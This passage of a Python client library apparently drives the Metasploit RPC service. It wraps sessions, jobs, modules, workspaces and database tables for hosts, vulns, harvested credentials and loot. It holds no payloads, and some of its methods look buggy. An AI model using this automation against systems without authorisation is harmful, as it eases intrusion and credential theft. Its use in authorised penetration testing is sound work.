| @property 281 | def sessions(self): 282 | """ 283 | The msf RPC sessions (meterpreter & shell) manager. 284 | """ 285 | return SessionManager(self) 286 | 287 | @property 288 | def jobs(self): 289 | """ 290 | The msf RPC jobs manager. 291 | """ 292 | return JobManager(self) 293 | 294 | @property 295 | def consoles(self): 296 | """ 297 | The msf RPC consoles manager 298 | """ 299 | return ConsoleManager(self) 300 | 301 | @property 302 | def authenticated(self): 303 | """ 304 | Whether or not this client is authenticated. 305 | """ 306 | return self.sessionid is not None 307 | 308 | @property 309 | def plugins(self): 310 | """ 311 | The msf RPC plugins manager. 312 | """ 313 | return PluginManager(self) 314 | 315 | @property 316 | def db(self): 317 | """ 318 | The msf RPC database manager. 319 | """ 320 | return DbManager(self) 321 | 322 | @property 323 | def auth(self): 324 | """ 325 | The msf authentication manager. 326 | """ 327 | return AuthManager(self) 328 | 329 | def login(self, username, password): 330 | """ 331 | Authenticates and reauthenticates the user to msfrpcd. 332 | """ 333 | if self.sessionid is None: 334 | r = self.call(MsfRpcMethod.AuthLogin, username, password) 335 | try: 336 | if r['result'] == 'success': 337 | self.sessionid = r['token'] 338 | except KeyError: 339 | raise MsfRpcError('Login failed.') 340 | else: 341 | try: 342 | r = self.call(MsfRpcMethod.DbStatus) 343 | except MsfRpcError: 344 | raise MsfRpcError('Login failed.') 345 | 346 | def logout(self): 347 | """ 348 | Logs the current user out. Note: do not call directly. 349 | """ 350 | self.call(MsfRpcMethod.AuthLogout, self.sessionid) 351 | 352 | 353 | class MsfTable(object): 354 | 355 | def __init__(self, rpc, wname): 356 | self.rpc = rpc 357 | self.name = wname 358 | 359 | def dbreport(self, atype, attrs): 360 | attrs.update({ 'workspace' : self.name }) 361 | return self.rpc.call('db.report_%s' % atype, attrs) 362 | 363 | def dbdel(self, atype, attrs): 364 | attrs.update({ 'workspace' : self.name }) 365 | return self.rpc.call('db.del_%s' % atype, attrs) 366 | 367 | def dbget(self, atype, attrs): 368 | attrs.update({ 'workspace' : self.name }) 369 | return self.rpc.call('db.get_%s' % atype, attrs)[atype] 370 | 371 | def records(self, atypes, **kwargs): 372 | kwargs.update({'workspace' : self.name}) 373 | return self.rpc.call('db.%s' % atypes, kwargs)[atypes] 374 | 375 | @property 376 | def list(self): 377 | raise NotImplementedError 378 | 379 | def report(self, *args, **kwargs): 380 | raise NotImplementedError 381 | 382 | def delete(self, *args, **kwargs): 383 | raise NotImplementedError 384 | 385 | def find(self, **kwargs): 386 | raise NotImplementedError 387 | 388 | update = report 389 | 390 | 391 | class NotesTable(MsfTable): 392 | 393 | @property 394 | def list(self): 395 | return super(NotesTable, self).records('notes') 396 | 397 | def find(self, **kwargs): 398 | """ 399 | Find notes based on search criteria. 400 | 401 | Optional Keyword Arguments: 402 | - limit : the maximum number of results. 403 | - offset : skip n results. 404 | - addresses : a list of addresses to search for. 405 | - names : comma separated string of service names. 406 | - ntype : the note type. 407 | - ports : the port associated with the note. 408 | - proto : the protocol associated with the note. 409 | """ 410 | if 'ports' in kwargs: 411 | kwargs['port'] = True 412 | return super(NotesTable, self).records('notes', **kwargs) 413 | 414 | def report(self, type, data, **kwargs): 415 | """ 416 | Report a Note to the database. Notes can be tied to a Workspace, Host, or Service. 417 | 418 | Mandatory Arguments: 419 | - type : The type of note, e.g. 'smb_peer_os'. 420 | - data : whatever it is you're making a note of. 421 | 422 | Optional Keyword Arguments: 423 | - host : an IP address or a Host object to associate with this Note. 424 | - service : a dict containing 'host', 'port', 'proto' and optionally 'name' keys. 425 | - port : along with 'host' and 'proto', a service to associate with this Note. 426 | - proto : along with 'host' and 'port', a service to associate with this Note. 427 | - update : what to do in case a similar Note exists, see below. 428 | 429 | The 'update' option can have the following values: 430 | - unique : allow only a single Note per host/type pair. 431 | - unique_data : like 'unique', but also compare 'data'. 432 | - insert : always insert a new Note even if one with identical values exists. 433 | 434 | If the provided 'host' is an IP address and does not exist in the database, 435 | it will be created. If 'host' and 'service' are all omitted, the new Note 436 | will be associated with the current 'workspace'. 437 | """ 438 | kwargs.update({ 'data' : data, 'type' : type }) 439 | kwargs.update(kwargs.pop('service', {})) 440 | self.dbreport('note', kwargs) 441 | 442 | def delete(self, **kwargs): 443 | """ 444 | Delete one or more notes based on a search criteria. 445 | 446 | Optional Keyword Arguments: 447 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 448 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 449 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 450 | - port : the port associated with a Note. 451 | - proto : the protocol associated with a Note. 452 | - ntype : the note type, e.g. 'smb_peer_os'. 453 | """ 454 | self.dbdel('note', kwargs) 455 | 456 | def get(self, **kwargs): 457 | """ 458 | Get a Note from the database based on the specifications of one or more keyword arguments. 459 | 460 | Mandatory Keyword Arguments: 461 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 462 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 463 | - addr : same as 'address', not required if 'host' or 'address' is specified. 464 | 465 | Optional Keyword Arguments: 466 | - proto : the protocol associated with the Note. 467 | - port : the port associated with the Note. 468 | - ntype : the type of Note. 469 | """ 470 | if not any([i in kwargs for i in ('host', 'address', 'addr')]): 471 | raise TypeError('Expected a host, address, or addr.') 472 | return self.dbget('note', kwargs) 473 | 474 | update = report 475 | 476 | 477 | class LootsTable(MsfTable): 478 | 479 | @property 480 | def list(self): 481 | return super(LootsTable, self).records('loots') 482 | 483 | def find(self, **kwargs): 484 | """ 485 | Find loot based on search criteria. 486 | 487 | Optional Keyword Arguments: 488 | - limit : the maximum number of results. 489 | - offset : skip n results. 490 | """ 491 | return super(LootsTable, self).records('loots', **kwargs) 492 | 493 | def report(self, path, type, **kwargs): 494 | """ 495 | Report Loot to the database 496 | 497 | Mandatory Arguments: 498 | - path : the filesystem path to the Loot 499 | - type : the type of Loot 500 | - ltype : the same as 'type', not required if 'type' is specified. 501 | 502 | Optional Keyword Arguments: 503 | - host : an IP address or a Host object to associate with this Note 504 | - ctype : the content type of the loot, e.g. 'text/plain' 505 | - content_type : same as 'ctype'. 506 | - service : a service to associate Loot with. 507 | - name : a name to associate with this Loot. 508 | - info : additional information about this Loot. 509 | - data : the data within the Loot. 510 | """ 511 | kwargs.update({ 'path' : path, 'type' : type }) 512 | self.dbreport('loot', kwargs) 513 | 514 | update = report 515 | 516 | 517 | class CredsTable(MsfTable): 518 | 519 | @property 520 | def list(self): 521 | return super(CredsTable, self).records('creds') 522 | 523 | def find(self, **kwargs): 524 | """ 525 | Find creds based on search criteria. 526 | 527 | Optional Keyword Arguments: 528 | - limit : the maximum number of results. 529 | - offset : skip n results. 530 | """ 531 | return super(CredsTable, self).records('creds', **kwargs) 532 | 533 | def report(self, host, port, **kwargs): 534 | """ 535 | Store a set of credentials in the database. 536 | 537 | Mandatory Arguments: 538 | - host : an IP address or Host object reference 539 | - port : a port number 540 | 541 | Optional Keyword Arguments: 542 | - user : the username. 543 | - password : the password, or path to ssh_key. 544 | - ptype : the type of password (password(ish), hash, or ssh_key). 545 | - proto : a transport name for the port. 546 | - sname : service name. 547 | - active : by default, a cred is active, unless explicitly false. 548 | - proof : data used to prove the account is actually active. 549 | 550 | Sources: Credentials can be sourced from another credential, or from 551 | a vulnerability. For example, if an exploit was used to dump the 552 | smb_hashes, and this credential comes from there, the source_id would 553 | be the Vuln id (as reported by report_vuln) and the type would be "Vuln". 554 | 555 | - source_id : The Vuln or Cred id of the source of this cred. 556 | - source_type : Either Vuln or Cred. 557 | """ 558 | kwargs.update({'host' : host, 'port' : port}) 559 | kwargs['pass'] = kwargs.get('password') 560 | self.dbreport('cred', kwargs) 561 | 562 | update = report 563 | 564 | 565 | class AuthInfoTable(MsfTable): 566 | 567 | def report(self, host, port, **kwargs): 568 | """ 569 | Store a set of credentials in the database. 570 | 571 | Mandatory Arguments: 572 | - host : an IP address or Host object reference 573 | - port : a port number 574 | 575 | Optional Keyword Arguments: 576 | - user : the username. 577 | - pass : the password, or path to ssh_key. 578 | - ptype : the type of password (password(ish), hash, or ssh_key). 579 | - proto : a transport name for the port. 580 | - sname : service name. 581 | - active : by default, a cred is active, unless explicitly false. 582 | - proof : data used to prove the account is actually active. 583 | 584 | Sources: Credentials can be sourced from another credential, or from 585 | a vulnerability. For example, if an exploit was used to dump the 586 | smb_hashes, and this credential comes from there, the source_id would 587 | be the Vuln id (as reported by report_vuln) and the type would be "Vuln". 588 | 589 | - source_id : The Vuln or Cred id of the source of this cred. 590 | - source_type : Either Vuln or Cred. 591 | """ 592 | kwargs.update({'host' : host, 'port' : port}) 593 | self.dbreport('auth_info', kwargs) 594 | 595 | update = report 596 | 597 | 598 | class HostsTable(MsfTable): 599 | 600 | @property 601 | def list(self): 602 | return super(HostsTable, self).records('hosts') 603 | 604 | def find(self, **kwargs): 605 | """ 606 | Find hosts based on search criteria. 607 | 608 | Optional Keyword Arguments: 609 | - limit : the maximum number of results. 610 | - offset : skip n results. 611 | - only_up : find only hosts that are alive. 612 | - addresses : find hosts based on a list of addresses. 613 | """ 614 | return super(HostsTable, self).records('hosts', **kwargs) 615 | 616 | def report(self, host, **kwargs): 617 | """ 618 | Store a host in the database. 619 | 620 | Mandatory Keyword Arguments: 621 | - host : an IP address or Host object reference. 622 | 623 | Optional Keyword Arguments: 624 | - state : a host state. 625 | - os_name : an operating system. 626 | - os_flavor : something like 'XP or 'Gentoo'. 627 | - os_sp : something like 'SP2'. 628 | - os_lang : something like 'English', 'French', or 'en-US'. 629 | - arch : an architecture. 630 | - mac : the host's MAC address. 631 | - scope : interface identifier for link-local IPv6. 632 | - virtual_host : the name of the VM host software, e.g. 'VMWare', 'QEMU', 'Xen', etc. 633 | """ 634 | kwargs.update({'host' : host}) 635 | self.dbreport('host', kwargs) 636 | 637 | def delete(self, **kwargs): 638 | """ 639 | Deletes a host and associated data matching this address/comm. 640 | 641 | Mandatory Keyword Arguments: 642 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 643 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 644 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 645 | """ 646 | if not any([ i in kwargs for i in ('host', 'address', 'addresses')]): 647 | raise TypeError('Expected host, address, or addresses.') 648 | self.dbdel('host', kwargs) 649 | 650 | def get(self, **kwargs): 651 | """ 652 | Get a host in the database. 653 | 654 | Mandatory Keyword Arguments: 655 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 656 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 657 | - addr : same as 'address', not required if 'host' or 'address' is specified. 658 | """ 659 | if not any([ i in kwargs for i in ('addr', 'address', 'host')]): 660 | raise TypeError('Expected addr, address, or host.') 661 | return self.dbget('host', kwargs) 662 | 663 | update = report 664 | 665 | 666 | class ServicesTable(MsfTable): 667 | 668 | @property 669 | def list(self): 670 | return super(ServicesTable, self).records('services') 671 | 672 | def find(self, **kwargs): 673 | """ 674 | Find hosts based on search criteria. 675 | 676 | Optional Keyword Arguments: 677 | - limit : the maximum number of results. 678 | - offset : skip n results. 679 | - only_up : find only hosts that are alive. 680 | - addresses : find hosts based on a list of addresses. 681 | - proto : the protocol of the service. 682 | - ports : a comma separated string of ports. 683 | - names : a comma separated string of service names. 684 | """ 685 | return super(ServicesTable, self).records('services', **kwargs) 686 | 687 | def report(self, host, port, proto, **kwargs): 688 | """ 689 | Record a service in the database. 690 | 691 | Mandatory Arguments: 692 | - host : the host where this service is running. 693 | - port : the port where this service listens. 694 | - proto : the transport layer protocol (e.g. tcp, udp). 695 | 696 | Optional Keyword Arguments: 697 | - name : the application layer protocol (e.g. ssh, mssql, smb) 698 | - sname : an alias for the above 699 | """ 700 | kwargs.update({'host' : host, 'port' : port, 'proto' : proto}) 701 | self.dbreport('service', kwargs) 702 | 703 | def delete(self, **kwargs): 704 | """ 705 | Deletes a port and associated vulns matching this port. 706 | 707 | Mandatory Keyword Arguments: 708 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 709 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 710 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 711 | 712 | or 713 | 714 | - port : used along with 'proto', specifies a service. 715 | - proto : used along with 'port', specifies a service. 716 | """ 717 | if not any([i in kwargs for i in ('host', 'address', 'addresses')]) and \ 718 | not all([i in kwargs for i in ('proto', 'port')]): 719 | raise TypeError('Expected host or port/proto pair.') 720 | self.dbdel('service', kwargs) 721 | 722 | def get(self, **kwargs): 723 | """ 724 | Get a service record from the database. 725 | 726 | Mandatory Keyword Arguments: 727 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 728 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 729 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 730 | 731 | or 732 | 733 | - port : used along with 'proto', specifies a service. 734 | - proto : used along with 'port', specifies a service. 735 | 736 | Optional Keyword Arguments: 737 | - up : specifies whether or not the service is alive. 738 | - names : a comma separated string of service names. 739 | """ 740 | if not any([i in kwargs for i in ('host', 'addr', 'address')]) and \ 741 | not all([i in kwargs for i in ('proto', 'port')]): 742 | raise TypeError('Expected host or port/proto pair.') 743 | return self.dbget('service', kwargs) 744 | 745 | update = report 746 | 747 | 748 | class VulnsTable(MsfTable): 749 | 750 | @property 751 | def list(self): 752 | return super(VulnsTable, self).records('vulns') 753 | 754 | def find(self, **kwargs): 755 | """ 756 | Find vulns based on search criteria. 757 | 758 | Optional Keyword Arguments: 759 | - limit : the maximum number of results. 760 | - offset : skip n results. 761 | - addresses : find hosts based on a list of addresses. 762 | - proto : the protocol of the service. 763 | - ports : a comma separated string of ports. 764 | - names : a comma separated string of service names. 765 | """ 766 | return super(VulnsTable, self).records('vulns', **kwargs) 767 | 768 | def report(self, host, name, **kwargs): 769 | """ 770 | Record a Vuln in the database. 771 | 772 | Mandatory Arguments: 773 | - host : the host where this vulnerability resides. 774 | - name : the scanner-specific id of the vuln (e.g. NEXPOSE-cifs-acct-password-never-expires). 775 | 776 | Optional Keyword Arguments: 777 | - info : a human readable description of the vuln, free-form text. 778 | - refs : an array of Ref objects or string names of references. 779 | """ 780 | kwargs.update({'host' : host, 'name' : name}) 781 | self.dbreport('vuln', kwargs) 782 | 783 | def delete(self, **kwargs): 784 | """ 785 | Deletes a vuln and associated data matching this address/comm. 786 | 787 | Mandatory Keyword Arguments: 788 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 789 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 790 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 791 | """ 792 | if not any([ i in kwargs for i in ('host', 'address', 'addresses')]): 793 | raise TypeError('Expected host, address, or addresses.') 794 | self.dbdel('vuln', kwargs) 795 | 796 | def get(self, **kwargs): 797 | """ 798 | Get a vuln in the database. 799 | 800 | Mandatory Keyword Arguments: 801 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 802 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 803 | - addr : same as 'address', not required if 'host' or 'address' is specified. 804 | """ 805 | if not any([ i in kwargs for i in ('addr', 'address', 'host')]): 806 | raise TypeError('Expected addr, address, or host.') 807 | return self.dbreport('vuln', kwargs) 808 | 809 | update = report 810 | 811 | 812 | class EventsTable(MsfTable): 813 | 814 | @property 815 | def list(self): 816 | return super(EventsTable, self).records('events') 817 | 818 | def find(self, **kwargs): 819 | """ 820 | Find events based on search criteria. 821 | 822 | Optional Keyword Arguments: 823 | - limit : the maximum number of results. 824 | - offset : skip n results. 825 | """ 826 | return super(EventsTable, self).records('events', **kwargs) 827 | 828 | def report(self, **kwargs): 829 | """ 830 | Record a Vuln in the database. 831 | 832 | Mandatory Arguments: 833 | - username : user that invoked the event. 834 | - host : host that invoked the event. 835 | """ 836 | if not any([i in kwargs for i in ('username', 'host')]): 837 | raise TypeError('Expected either username or host') 838 | self.dbreport('vuln', kwargs) 839 | 840 | update = report 841 | 842 | 843 | class ClientsTable(MsfTable): 844 | 845 | @property 846 | def list(self): 847 | return super(ClientsTable, self).records('clients') 848 | 849 | def find(self, **kwargs): 850 | """ 851 | Find clients based on search criteria. 852 | 853 | Optional Keyword Arguments: 854 | - limit : the maximum number of results. 855 | - offset : skip n results. 856 | - ua_name : a user-agent string. 857 | - ua_ver : the user-agent version. 858 | - addresses : a list of IP addresses. 859 | """ 860 | return super(ClientsTable, self).records('clients', **kwargs) 861 | 862 | def report(self, ua_string, host, **kwargs): 863 | """ 864 | Report a client running on a host. 865 | 866 | Mandatory Arguments: 867 | - ua_string : the value of the User-Agent header 868 | - host : the host where this client connected from, can be an ip address or a Host object 869 | 870 | Optional Keyword Arguments 871 | - ua_name : one of the user agent name constants 872 | - ua_ver : detected version of the given client 873 | - campaign : an id or Campaign object 874 | 875 | Returns a Client. 876 | """ 877 | kwargs.update({'host' : host, 'ua_string' : ua_string}) 878 | self.dbreport('client', kwargs) 879 | 880 | def delete(self, **kwargs): 881 | """ 882 | Deletes a client and associated data matching this address/comm. 883 | 884 | Mandatory Keyword Arguments: 885 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 886 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 887 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 888 | """ 889 | self.dbdel('client', kwargs) 890 | 891 | def get(self, **kwargs): 892 | """ 893 | Get a client in the database. 894 | 895 | Mandatory Keyword Arguments: 896 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 897 | - ua_string : the value of the User-Agent header 898 | """ 899 | if not any([ i in kwargs for i in ('host', 'ua_string')]): 900 | raise TypeError('Expected host or ua_string.') 901 | return self.dbreport('client', kwargs) 902 | 903 | update = report 904 | 905 | 906 | class Workspace(object): 907 | 908 | def __init__(self, rpc, name): 909 | """ 910 | Initializes a workspace object. 911 | 912 | Mandatory Arguments: 913 | - rpc : the msfrpc client object 914 | - name : the name of the workspace 915 | """ 916 | self.rpc = rpc 917 | self.name = name 918 | 919 | @property 920 | def current(self): 921 | """ 922 | The name of the current workspace. 923 | """ 924 | return self.name 925 | 926 | @current.setter 927 | def current(self, name): 928 | self.name = name 929 | 930 | @property 931 | def notes(self): 932 | """ 933 | Returns the notes table for the current workspace. 934 | """ 935 | return NotesTable(self.rpc, self.name) 936 | 937 | @property 938 | def hosts(self): 939 | """ 940 | Returns the hosts table for the current workspace. 941 | """ 942 | return HostsTable(self.rpc, self.name) 943 | 944 | @property 945 | def services(self): 946 | """ 947 | Returns the services table for the current workspace. 948 | """ 949 | return ServicesTable(self.rpc, self.name) 950 | 951 | @property 952 | def vulns(self): 953 | """ 954 | Returns the vulns table for the current workspace. 955 | """ 956 | return VulnsTable(self.rpc, self.name) 957 | 958 | @property 959 | def events(self): 960 | """ 961 | Returns the events table for the current workspace. 962 | """ 963 | return EventsTable(self.rpc, self.name) 964 | 965 | @property 966 | def loots(self): 967 | """ 968 | Returns the loots table for the current workspace. 969 | """ 970 | return LootsTable(self.rpc, self.name) 971 | 972 | @property 973 | def creds(self): 974 | """ 975 | Returns the creds table for the current workspace. 976 | """ 977 | return CredsTable(self.rpc, self.name) 978 | 979 | @property 980 | def clients(self): 981 | """ 982 | Returns the clients table for the current workspace. 983 | """ 984 | return ClientsTable(self.rpc, self.name) 985 | 986 | def delete(self): 987 | """ 988 | Delete the current workspace. 989 | """ 990 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, {'workspace' : self.name}) 991 | 992 | def importdata(self, data): 993 | self.rpc.call(MsfRpcMethod.DbImportData, {'workspace' : self.name, 'data' : data}) 994 | 995 | def importfile(self, fname): 996 | r = file(fname, mode='rb') 997 | self.rpc.call(MsfRpcMethod.DbImportData, {'workspace' : self.name, 'data' : r.read()}) 998 | r.close() 999 | 1000 | 1001 | class MsfManager(object): 1002 | 1003 | def __init__(self, rpc): 1004 | """ 1005 | Initialize a msf component manager. 1006 | 1007 | Mandatory Arguments: 1008 | - rpc : the msfrpc client object. 1009 | """ 1010 | self.rpc = rpc 1011 | 1012 | 1013 | class WorkspaceManager(MsfManager): 1014 | 1015 | @property 1016 | def list(self): 1017 | """ 1018 | The list of all workspaces in the current msf database. 1019 | """ 1020 | return self.rpc.call(MsfRpcMethod.DbWorkspaces)['workspaces'] 1021 | 1022 | def workspace(self, name='default'): 1023 | """ 1024 | Returns a Workspace object for the given workspace name. 1025 | 1026 | Optional Arguments: 1027 | - name : the name of the workspace 1028 | """ 1029 | w = self.list 1030 | if name not in w: 1031 | self.add(name) 1032 | return Workspace(self.rpc, name) 1033 | 1034 | def add(self, name): 1035 | """ 1036 | Adds a workspace with the given name. 1037 | 1038 | Mandatory Arguments: 1039 | - name : the name of the workspace 1040 | """ 1041 | self.rpc.call(MsfRpcMethod.DbAddWorkspace, name) 1042 | 1043 | def get(self, name): 1044 | """ 1045 | Get a workspace with the given name. 1046 | 1047 | Mandatory Arguments: 1048 | - name : the name of the workspace 1049 | """ 1050 | return self.rpc.call(MsfRpcMethod.DbGetWorkspace, name)['workspace'] 1051 | 1052 | def remove(self, name): 1053 | """ 1054 | Adds a workspace with the given name. 1055 | 1056 | Mandatory Arguments: 1057 | - name : the name of the workspace 1058 | """ 1059 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, name) 1060 | 1061 | def set(self, name): 1062 | """ 1063 | Sets the current workspace. 1064 | 1065 | Mandatory Arguments: 1066 | - name : the name of the workspace 1067 | """ 1068 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, name) 1069 | 1070 | @property 1071 | def current(self): 1072 | """ 1073 | The current workspace. 1074 | """ 1075 | return self.workspace(self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace']) 1076 | 1077 | 1078 | class DbManager(MsfManager): 1079 | 1080 | def connect(self, username, database='msf', **kwargs): 1081 | """ 1082 | Connects to a database and creates the msf schema if necessary. 1083 | 1084 | Mandatory Arguments: 1085 | - username : the username for the database connection 1086 | 1087 | Optional Keyword Arguments: 1088 | - host : the IP or hostname of the database server (default: 'localhost') 1089 | - driver : the driver to use for the database connection (default: 'postgresql') 1090 | - password : the password for the database connection 1091 | - database : the database name (default: 'msf') 1092 | - port : the port that the server is running on (default: 5432) 1093 | """ 1094 | runopts = { 'username': username, 'database' : database } 1095 | runopts.update(kwargs) 1096 | return self.rpc.call(MsfRpcMethod.DbConnect, runopts)['result'] == 'success' 1097 | 1098 | @property 1099 | def driver(self): 1100 | """ 1101 | The current database driver in use. 1102 | """ 1103 | return self.rpc.call(MsfRpcMethod.DbDriver, {})['driver'] 1104 | 1105 | @driver.setter 1106 | def driver(self, d): 1107 | self.rpc.call(MsfRpcMethod.DbDriver, {'driver' : d}) 1108 | 1109 | @property 1110 | def status(self): 1111 | """ 1112 | The status of the database connection. 1113 | """ 1114 | return self.rpc.call(MsfRpcMethod.DbStatus) 1115 | 1116 | def disconnect(self): 1117 | """ 1118 | Disconnect from the database. 1119 | """ 1120 | self.rpc.call(MsfRpcMethod.DbDisconnect) 1121 | 1122 | @property 1123 | def workspaces(self): 1124 | """ 1125 | A WorkspaceManager object. 1126 | """ 1127 | return WorkspaceManager(self.rpc) 1128 | 1129 | @property 1130 | def workspace(self): 1131 | """ 1132 | The name of the current workspace. 1133 | """ 1134 | return self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace'] 1135 | 1136 | @workspace.setter 1137 | def workspace(self, w): 1138 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, w) 1139 | 1140 | 1141 | class AuthManager(MsfManager): 1142 | 1143 | def login(self, password, **kwargs): 1144 | """ 1145 | Login to the msfrpc daemon. 1146 | 1147 | Mandatory Arguments: 1148 | - password : the password used to login to msfrpc 1149 | 1150 | Optional Keyword Arguments: 1151 | - username : the username used to authenticate to msfrpcd (default: msf) 1152 | - uri : the msfrpcd URI (default: /api/) 1153 | - port : the remote msfrpcd port to connect to (default: 55553) 1154 | - server : the remote server IP address hosting msfrpcd (default: localhost) 1155 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled) 1156 | """ 1157 | return MsfRpcClient(password, **kwargs) 1158 | 1159 | def logout(self, sid): 1160 | """ 1161 | Logs out a user for a given session ID. 1162 | 1163 | Mandatory Arguments: 1164 | - sid : a session ID that is active. 1165 | """ 1166 | return self.rpc.call(MsfRpcMethod.AuthLogout, sid) 1167 | 1168 | @property 1169 | def tokens(self): 1170 | """ 1171 | The current list of active session IDs. 1172 | """ 1173 | return self.rpc.call(MsfRpcMethod.AuthTokenList)['tokens'] 1174 | 1175 | def add(self, token): 1176 | """ 1177 | Add a session ID or token. 1178 | 1179 | Mandatory Argument: 1180 | - token : a random string used as a session identifier. 1181 | """ 1182 | self.rpc.call(MsfRpcMethod.AuthTokenAdd, token) 1183 | 1184 | def remove(self, token): 1185 | """ 1186 | Remove a session ID or token. 1187 | 1188 | Mandatory Argument: 1189 | - token : a session ID or token that is active. 1190 | """ 1191 | self.rpc.call(MsfRpcMethod.AuthTokenRemove, token) 1192 | 1193 | def generate(self): 1194 | """ 1195 | Generate a session ID or token. 1196 | """ 1197 | return self.rpc.call(MsfRpcMethod.AuthTokenGenerate)['token'] 1198 | 1199 | 1200 | class PluginManager(MsfManager): 1201 | 1202 | @property 1203 | def list(self): 1204 | """ 1205 | A list of loaded plugins. 1206 | """ 1207 | return self.rpc.call(MsfRpcMethod.PluginLoaded)['plugins'] 1208 | 1209 | def load(self, plugin): 1210 | """ 1211 | Load a plugin of a given name. 1212 | 1213 | Mandatory Arguments: 1214 | - plugin : a name of a plugin to load. 1215 | """ 1216 | self.rpc.call(MsfRpcMethod, MsfRpcMethod.PluginLoad, plugin) 1217 | 1218 | def unload(self, plugin): 1219 | """ 1220 | Unload a plugin of a given name. 1221 | 1222 | Mandatory Arguments: 1223 | - plugin : a name of a loaded plugin to unload. 1224 | """ 1225 | self.rpc.call(MsfRpcMethod, MsfRpcMethod.PluginUnload, plugin) 1226 | 1227 | 1228 | class JobManager(MsfManager): 1229 | 1230 | @property 1231 | def list(self): 1232 | """ 1233 | A list of currently running jobs. 1234 | """ 1235 | return self.rpc.call(MsfRpcMethod.JobList) 1236 | 1237 | def stop(self, jobid): 1238 | """ 1239 | Stop a job. 1240 | 1241 | Mandatory Argument: 1242 | - jobid : the ID of the job. 1243 | """ 1244 | self.rpc.call(MsfRpcMethod.JobStop, jobid) 1245 | 1246 | def info(self, jobid): 1247 | """ 1248 | Get job information for a particular job. 1249 | 1250 | Mandatory Argument: 1251 | - jobid : the ID of the job. 1252 | """ 1253 | return self.rpc.call(MsfRpcMethod.JobInfo, jobid) 1254 | 1255 | 1256 | class CoreManager(MsfManager): 1257 | 1258 | @property 1259 | def version(self): 1260 | """ 1261 | The version of msf core. 1262 | """ 1263 | return self.rpc.call(MsfRpcMethod.CoreVersion) 1264 | 1265 | def stop(self): 1266 | """ 1267 | Stop the core. 1268 | """ 1269 | self.rpc.call(MsfRpcMethod.CoreStop) 1270 | 1271 | def setg(self, var, val): 1272 | """ 1273 | Set a global variable 1274 | 1275 | Mandatory Arguments: 1276 | - var : the variable name 1277 | - val : the variable value 1278 | """ 1279 | self.rpc.call(MsfRpcMethod.CoreSetG, var, val) 1280 | 1281 | def unsetg(self, var): 1282 | """ 1283 | Unset a global variable 1284 | 1285 | Mandatory Arguments: 1286 | - var : the variable name 1287 | """ 1288 | self.rpc.call(MsfRpcMethod.CoreUnsetG, var) 1289 | 1290 | def save(self): 1291 | """ 1292 | Save the core state. 1293 | """ 1294 | self.rpc.call(MsfRpcMethod.CoreSave) 1295 | 1296 | def reload(self): 1297 | """ 1298 | Reload all modules in the core. 1299 | """ 1300 | self.rpc.call(MsfRpcMethod.CoreReloadModules) 1301 | 1302 | @property 1303 | def stats(self): 1304 | """ 1305 | Get module statistics from the core. 1306 | """ 1307 | return self.rpc.call(MsfRpcMethod.CoreModuleStats) 1308 | 1309 | def addmodulepath(self, path): 1310 | """ 1311 | Add a search path for additional modules. 1312 | 1313 | Mandatory Arguments: 1314 | - path : the path to search for modules. 1315 | """ 1316 | return self.rpc.call(MsfRpcMethod.CoreAddModulePath, path) 1317 | 1318 | @property 1319 | def threads(self): 1320 | """ 1321 | The current threads running in the core. 1322 | """ 1323 | return self.rpc.call(MsfRpcMethod.CoreThreadList) 1324 | 1325 | def kill(self, threadid): 1326 | """ 1327 | Kill a thread running in the core. 1328 | 1329 | Mandatory Arguments: 1330 | - threadid : the thread ID. 1331 | """ 1332 | self.rpc.call(MsfRpcMethod.CoreThreadKill, threadid) 1333 | 1334 | 1335 | class MsfModule(object): 1336 | 1337 | def __init__(self, rpc, mtype, mname): 1338 | """ 1339 | Initializes an msf module object. 1340 | 1341 | Mandatory Arguments: 1342 | - rpc : the msfrpc client object. 1343 | - mtype : the module type (e.g. 'exploit') 1344 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header') 1345 | """ 1346 | self.moduletype = mtype 1347 | self.modulename = mname 1348 | self.rpc = rpc 1349 | self._info = rpc.call(MsfRpcMethod.ModuleInfo, mtype, mname) 1350 | property_attributes = ["advanced", "evasion", "options", "required", 1351 | "runoptions"] 1352 | for k in self._info: 1353 | if k not in property_attributes: 1354 | # don't try to set property attributes 1355 | setattr(self, k, self._info.get(k)) 1356 | self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, mtype, mname) 1357 | self._roptions = [] 1358 | self._aoptions = [] 1359 | self._eoptions = [] 1360 | self._runopts = {} 1361 | for o in self._moptions: 1362 | if self._moptions[o]['required']: 1363 | self._roptions.append(o) 1364 | if self._moptions[o]['advanced']: 1365 | self._aoptions.append(o) 1366 | if self._moptions[o]['evasion']: 1367 | self._eoptions.append(o) 1368 | if 'default' in 